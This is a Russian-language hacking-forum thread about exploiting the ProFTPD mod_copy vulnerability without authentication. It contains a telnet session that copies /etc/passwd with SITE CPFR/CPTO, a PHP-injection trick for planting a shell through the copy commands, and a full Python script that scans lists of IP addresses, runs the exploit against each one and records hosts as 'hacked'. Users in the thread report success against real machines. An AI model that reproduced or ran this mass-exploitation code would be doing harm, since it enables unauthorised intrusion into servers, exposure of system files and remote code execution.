RDot

RDot (https://rdot.org/forum/index.php)
-   Целевые системы/Target systems (https://rdot.org/forum/forumdisplay.php?f=22)
-   -   ProFTPD mod_copy (https://rdot.org/forum/showthread.php?t=3421)

z0mbie 12.04.2015 02:18

ProFTPD mod_copy
 
Код:

В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.
  Trying 192.168.3.115...
  Connected to 192.168.3.115.
  Escape character is '^]'.
  220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
  site cpfr /etc/passwd
  350 File or directory exists, ready for destination name
  site cpto /tmp/passwd.copy
  250 Copy successful

Пруф

Собственно, кто пробовал? Ни одна машина не захотел копировать файл, пробовал через telnet

UPD: Из 10 машин, 3 подверглись уязвимости. ProFTPD версии 1.3.4a. Единственное, нужно знать путь куда будем копировать для дальнейшего просмотра phpinfo.

SynQ 13.04.2015 13:06

proftpd - это wuftpd наших дней.

sT1myL 16.04.2015 13:26

ProFTPD 1.3.4b не работает . А жаль.

z0mbie 09.05.2015 21:54

Бывали случаи когда не удавалось скопировать ошибку с мини шеллом с помощью site cpfr /proc/self/fd/3
Помог этот способ
Код:

  SITE CPTO /tmp/...<?php phpinfo();?>
  SITE CPFR /tmp/...<?php phpinfo();?>


secov 11.05.2015 12:39

Запускаю скрипт получаю ошибку
Код:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ip>1.py
Подключено!
╨Ъ╨╛╨╝╨░╨╜╨┤╨░ cpfr ╨╜╨╡ ╤А╨░╨▒╨╛╤В╨░╨╡╤В!
Traceback (most recent call last):
  File "C:\ip\1.py", line 32, in <module>
    if "250" in part3:
NameError: name 'part3' is not defined

В чем проблема?

z0mbie 11.05.2015 14:54

Цитата:

Сообщение от secov (Сообщение 38496)
Запускаю скрипт получаю ошибку
Код:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ip>1.py
Подключено!
╨Ъ╨╛╨╝╨░╨╜╨┤╨░ cpfr ╨╜╨╡ ╤А╨░╨▒╨╛╤В╨░╨╡╤В!
Traceback (most recent call last):
  File "C:\ip\1.py", line 32, in <module>
    if "250" in part3:
NameError: name 'part3' is not defined

В чем проблема?

Проверки на ответ от сервера небыло
В питоне плохо шарю. Но полностью переделал скрипт:
Код:

ips=0
l=[]
f1 = open("c:/ip/good.txt", 'w')
with open('c:/ip/ip.txt') as f :
 l = f.read().splitlines()
def ping(host, port, results = None):
    try:
        socket.socket().connect((host, port))
        if results is not None:
            results.append(port)
        return True
    except:
        return False
def getip(gett):
    try:
        d=socket.gethostbyname(gett)
        return d
    except:
        return False
def connects(ippp):
    try:
      sock = socket.socket()
      sock.connect((ippp, 21))
      part1 = sock.recv(1024)
      sock.send('site cpfr /etc/passwd \n')
      part2 = sock.recv(1024)
      sock.send('site cpto /tmp/passwd.copy \n')
      part3 = sock.recv(1024)
      sock.close()
      return part3
    except:
      return False
while ips!=len(l):
 try:
    print ips
    get=getip(l[ips])
    if get != False:
      pin=ping(get,21)
      if pin != False:
      con=connects(get)
      if "250 Copy" in con:
        print('hacked '+l[ips])
        f1.write(l[ips] + '\n')
 except:
    print('no hacked')
 ips=ips+1

Иногда бывает зависает после 2к чеков.

secov 11.05.2015 15:14

Цитата:

Сообщение от z0mbie (Сообщение 38498)
Проверки на ответ от сервера небыло
В питоне плохо шарю. Но полностью переделал скрипт:
Код:

ips=0
l=[]
f1 = open("c:/ip/good.txt", 'w')
with open('c:/ip/ip.txt') as f :
 l = f.read().splitlines()
def ping(host, port, results = None):
    try:
        socket.socket().connect((host, port))
        if results is not None:
            results.append(port)
        return True
    except:
        return False
def getip(gett):
    try:
        d=socket.gethostbyname(gett)
        return d
    except:
        return False
def connects(ippp):
    try:
      sock = socket.socket()
      sock.connect((ippp, 21))
      part1 = sock.recv(1024)
      sock.send('site cpfr /etc/passwd \n')
      part2 = sock.recv(1024)
      sock.send('site cpto /tmp/passwd.copy \n')
      part3 = sock.recv(1024)
      sock.close()
      return part3
    except:
      return False
while ips!=len(l):
 try:
    print ips
    get=getip(l[ips])
    if get != False:
      pin=ping(get,21)
      if pin != False:
      con=connects(get)
      if "250 Copy" in con:
        print('hacked '+l[ips])
        f1.write(l[ips] + '\n')
 except:
    print('no hacked')
 ips=ips+1

Иногда бывает зависает после 2к чеков.

Работает, благодарю

m0Hze 11.05.2015 15:43

Цитата:

Сообщение от z0mbie (Сообщение 38484)
Бывали случаи когда не удавалось скопировать ошибку с мини шеллом с помощью site cpfr /proc/self/fd/3
Помог этот способ
Код:

  SITE CPTO /tmp/...<?php phpinfo();?>
  SITE CPFR /tmp/...<?php phpinfo();?>


Не до конца понял, откуда же ты полчаешь в итоге <?php..?> ?
ТОже не выходит из /fd/3 взять ошибку.

secov 11.05.2015 17:31

Рабочий пример может кто-нибудь показать?

z0mbie 11.05.2015 17:32

https://github.com/rapid7/metasploit-framework/pull/5224/files
Как пример pikabu


Часовой пояс GMT +3, время: 15:53.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot